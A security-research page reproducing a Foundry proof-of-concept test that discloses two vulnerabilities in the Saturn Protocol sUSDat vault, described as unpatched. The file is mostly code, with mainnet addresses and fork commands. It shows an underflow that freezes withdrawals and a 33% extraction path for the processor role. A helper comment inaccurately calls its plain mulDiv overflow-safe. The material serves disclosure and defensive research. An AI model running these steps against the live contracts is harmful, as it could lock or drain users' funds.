Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/SaturnProtocol_exp.sol

Public reproduction file for dataset entry Saturn Protocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/SaturnProtocol_exp.sol210 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// @KeyInfo — Vulnerability Disclosure (unpatched, no historical exploit)
7// Protocol : Saturn Protocol — StakedUSDat (sUSDat) ERC4626 vault
8// Chain : Ethereum Mainnet
9// TVL at Risk : ~$35.7M USD (DeFiLlama, 2026-04-14)
10// Severity : SAT-001 Critical | SAT-002 High
11// Date Found : 2026-04-14
12// Researcher : Innora Security Research (feng@innora.ai)
13// Full Report : https://gist.github.com/sgInnora/b70ad98327649ed4ab976a122f45e485
14// Twitter : https://x.com/Innora_sg/status/2043979131617194043
16// @Vulnerability SAT-001 — Withdrawal Freeze via Arithmetic Underflow
17// convertFromStrc() panics when strcBalance < getUnvestedAmount().
18// Triggered by processing queued redemptions after distributing rewards
19// (routine operations — no malicious actor required).
20// Effect: all withdrawals frozen for up to 30 days (vestingPeriod);
21// indefinitely if transferInRewards() is called again during the freeze.
23// @Vulnerability SAT-002 — PROCESSOR Extracts up to 33.33% per Conversion
24// _validateConversion() applies toleranceBps=2000 (20%) independently to
25// BOTH price and amount checks. Compound effect: 1 - (0.8/1.2) = 33.33%
26// extraction rate per convertFromUsdat() call.
27// PROCESSOR_ROLE: 0x09d6e34ce24d54890ff0bc6a090b5f880f8c729f
29// @Contracts
30// sUSDat Proxy : 0xD166337499E176bbC38a1FBd113Ab144e5bd2Df7
31// sUSDat Impl : 0x2005e0ca201a37694125ff267ae57872bea0a0ce
32// SwapFacility : 0xB6807116b3B1B321a390594e31ECD6e0076f6278
33// USDat : 0x23238f20b894f29041f48D88eE91131C395Aaa71
34// WithdrawQueue: 0x4Bc9FEC04F0F95e9b42a3EF18F3C96fB57923D2e
36// @Verification
37// cast call 0xD166337499E176bbC38a1FBd113Ab144e5bd2Df7 "toleranceBps()(uint256)" \
38// --rpc-url https://1rpc.io/eth
39// # Returns: 2000 (unpatched as of 2026-04-14)
41// @Run
42// forge test --match-contract SaturnProtocol_SAT001 -vvv --fork-url https://rpc.ankr.com/eth
43// forge test --match-contract SaturnProtocol_SAT001_Proof -vvv # (no fork needed)
45interface ISUSDat {
46 function transferInRewards(uint256 strcAmount) external;
47 function convertFromStrc(uint256 strcAmount, uint256 usdatAmount, uint256 strcSalePrice) external;
48 function convertFromUsdat(uint256 usdatAmount, uint256 strcAmount, uint256 strcPurchasePrice) external;
49 function burnQueuedShares(uint256 shares, uint256 strcAmount) external;
50 function getUnvestedAmount() external view returns (uint256);
51 function strcBalance() external view returns (uint256);
52 function vestingAmount() external view returns (uint256);
53 function vestingPeriod() external view returns (uint256);
54 function totalAssets() external view returns (uint256);
55 function toleranceBps() external view returns (uint256);
58// ═══════════════════════════════════════════════════════════════════════════
59// SAT-001: Withdrawal Freeze PoC (requires mainnet fork)
60// ═══════════════════════════════════════════════════════════════════════════
61contract SaturnProtocol_SAT001 is Test {
62 ISUSDat constant SUSDAT = ISUSDat(0xD166337499E176bbC38a1FBd113Ab144e5bd2Df7);
63 address constant WQ = 0x4Bc9FEC04F0F95e9b42a3EF18F3C96fB57923D2e;
64 address constant PROCESSOR = 0x09d6e34ce24d54890ff0bc6a090b5f880f8c729f;
66 function setUp() public {
67 vm.createSelectFork("mainnet");
68 vm.label(PROCESSOR, "PROCESSOR_ROLE");
69 vm.label(address(SUSDAT), "sUSDat");
70 vm.label(WQ, "WithdrawalQueue");
71 }
73 /// @notice Demonstrates SAT-001: normal operations freeze all withdrawals
74 function testSAT001_WithdrawalFreeze() public {
75 uint256 strcBal = SUSDAT.strcBalance();
76 uint256 vestingPer = SUSDAT.vestingPeriod();
78 console.log("=== SAT-001: Withdrawal Freeze PoC ===");
79 console.log("Chain state (mainnet fork):");
80 console.log(" strcBalance :", strcBal);
81 console.log(" vestingPeriod:", vestingPer / 1 days, "days");
82 console.log(" totalAssets :", SUSDAT.totalAssets() / 1e6, "USDat (USDC-scaled)");
84 require(SUSDAT.getUnvestedAmount() == 0, "Active vesting: run after current vesting cycle");
86 // ── Step 1: PROCESSOR distributes rewards ───────────────────────────
87 uint256 REWARD = strcBal / 2;
88 vm.prank(PROCESSOR);
89 SUSDAT.transferInRewards(REWARD);
91 console.log("\n[Step 1] transferInRewards(%s STRC)", REWARD);
92 console.log(" strcBalance after :", SUSDAT.strcBalance());
93 console.log(" vestingAmount :", SUSDAT.vestingAmount());
94 console.log(" getUnvestedAmount :", SUSDAT.getUnvestedAmount());
96 // ── Step 2: WithdrawalQueue processes pre-existing redemptions ───────
97 // Users submitted redemptions when strcBalance = strcBal.
98 // The queue legitimately burns strcBal + 1 (1 unit past pre-reward vested).
99 uint256 BURN = strcBal + 1;
100 vm.prank(WQ);
101 SUSDAT.burnQueuedShares(0, BURN);
103 uint256 strcAfterBurn = SUSDAT.strcBalance();
104 uint256 unvested = SUSDAT.getUnvestedAmount();
105 console.log("\n[Step 2] burnQueuedShares(%s STRC)", BURN);
106 console.log(" strcBalance after :", strcAfterBurn);
107 console.log(" getUnvestedAmount :", unvested);
108 console.log(" Invariant broken :", strcAfterBurn < unvested ? "YES" : "NO");
110 // ── Step 3: convertFromStrc panics — all withdrawals frozen ─────────
111 console.log("\n[Step 3] convertFromStrc() — should PANIC (0x11)");
112 vm.expectRevert();
113 vm.prank(PROCESSOR);
114 SUSDAT.convertFromStrc(1, 1, 100e8);
116 console.log("[CONFIRMED] Withdrawal freeze active");
117 console.log(" Duration: up to", vestingPer / 1 days, "days");
118 console.log(" No admin escape hatch exists");
120 // ── Step 4: Verify self-healing after vesting period ────────────────
121 vm.warp(block.timestamp + vestingPer + 1);
122 console.log("\n[Step 4] After vestingPeriod expires:");
123 console.log(" getUnvestedAmount:", SUSDAT.getUnvestedAmount(), "(should be 0)");
124 console.log(" Freeze lifted — withdrawals can resume");
125 }
128// ═══════════════════════════════════════════════════════════════════════════
129// SAT-001: Pure Arithmetic Proof (no fork required)
130// ═══════════════════════════════════════════════════════════════════════════
131contract SaturnProtocol_SAT001_Proof is Test {
132 /// @notice Proves the underflow is deterministic for realistic parameters
133 function testSAT001_ArithmeticProof() public pure {
134 // Realistic state after trigger sequence:
135 // T0: strcBalance=100, vestingAmount=0
136 // T1: transferInRewards(50) → strcBalance=150, vestingAmount=50
137 // T2: burnQueuedShares(120) → strcBalance=30, vestingAmount=50
138 uint256 strcBalance = 30_000_000; // 30 STRC (6 decimals)
139 uint256 vestingAmount = 50_000_000; // 50 STRC
140 uint256 vestingPeriod = 30 days;
141 uint256 timeSinceVest = 1; // 1 second after reward
143 // Reproduce getUnvestedAmount() ceiling division
144 uint256 unvested = ((vestingPeriod - timeSinceVest) * vestingAmount + vestingPeriod - 1)
145 / vestingPeriod;
147 console.log("=== SAT-001 Arithmetic Proof ===");
148 console.log("strcBalance :", strcBalance);
149 console.log("unvestedAmount:", unvested);
150 console.log("Underflows :", strcBalance < unvested ? "YES" : "NO");
152 // This line in convertFromStrc() causes PANIC code 0x11:
153 // uint256 vestedBalance = strcBalance - unvestedAmount;
154 assertTrue(strcBalance < unvested, "Underflow confirmed: convertFromStrc will PANIC");
155 console.log("[CONFIRMED] Solidity 0.8 arithmetic underflow is deterministic");
156 }
159// ═══════════════════════════════════════════════════════════════════════════
160// SAT-002: Dual-Tolerance Extraction Math Proof (no fork required)
161// ═══════════════════════════════════════════════════════════════════════════
162contract SaturnProtocol_SAT002_Proof is Test {
163 uint256 constant TOLERANCE_BPS = 2000; // toleranceBps = 2000 (20%)
164 uint256 constant BPS_BASE = 10000;
166 /// @notice Proves PROCESSOR can extract 33.33% by maximizing both tolerances
167 function testSAT002_DualToleranceExtraction() public pure {
168 uint256 usdatIn = 1_000_000e6; // $1,000,000 USDat (6 decimals)
169 uint256 oraclePrice = 100e8; // $100/STRC (8 decimals)
171 // Maximally-deviated price: oracle × (1 + toleranceBps/BPS_BASE)
172 uint256 maxPrice = oraclePrice * (BPS_BASE + TOLERANCE_BPS) / BPS_BASE;
173 // = 100e8 × 1.20 = 120e8
175 // Expected STRC at maxPrice
176 uint256 expectedStrcAtMaxPrice = mulDiv(usdatIn, 1e8, maxPrice);
177 // = 1_000_000e6 × 1e8 / 120e8 = 8_333 STRC
179 // Min STRC allowed: expectedStrcAtMaxPrice × (1 - toleranceBps/BPS_BASE)
180 uint256 minStrc = mulDiv(expectedStrcAtMaxPrice, BPS_BASE - TOLERANCE_BPS, BPS_BASE);
181 // = 8_333 × 0.80 = 6_667 STRC
183 // What the vault should have received at oracle price
184 uint256 fairStrc = mulDiv(usdatIn, 1e8, oraclePrice);
185 // = 1_000_000e6 × 1e8 / 100e8 = 10_000 STRC
187 uint256 shortfall = fairStrc - minStrc;
188 uint256 extractionBps = shortfall * BPS_BASE / fairStrc;
190 console.log("=== SAT-002 Dual-Tolerance Extraction Proof ===");
191 console.log("USDat in : $1,000,000");
192 console.log("Oracle price : $100/STRC");
193 console.log("Max allowed price : $120/STRC (+20%)");
194 console.log("Expected STRC@$120:", expectedStrcAtMaxPrice / 1e6, "STRC");
195 console.log("Min STRC credited :", minStrc / 1e6, "STRC (-20% of expected)");
196 console.log("Fair STRC (oracle):", fairStrc / 1e6, "STRC");
197 console.log("Shortfall :", shortfall / 1e6, "STRC = $333,333");
198 console.log("Extraction rate :", extractionBps, "bps =", extractionBps / 100, "%");
200 // 1 - (0.8 / 1.2) = 33.33% = 3333 bps
201 assertApproxEqAbs(extractionBps, 3333, 2, "Extraction rate should be ~33.33%");
202 console.log("[CONFIRMED] PROCESSOR can extract 33.33% per convertFromUsdat call");
203 console.log("[LIVE] toleranceBps=2000 verified on mainnet 2026-04-14");
204 }
206 // Overflow-safe mulDiv (mirrors OpenZeppelin Math.mulDiv)
207 function mulDiv(uint256 x, uint256 y, uint256 z) internal pure returns (uint256) {
208 return (x * y) / z;
209 }

Analysis

Dataset entry

Public Foundry test for “Saturn Protocol” (2026-04-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Saturn Protocol
Path
src/test/2026-04/SaturnProtocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
56ea2467bb8de6c7a4e75c97b04a37bec22be055
Language
Solidity
Size
211 lines
Date
2026-04-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/SaturnProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 56ea2467bb8de6c7a4e75c97b04a37bec22be055, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.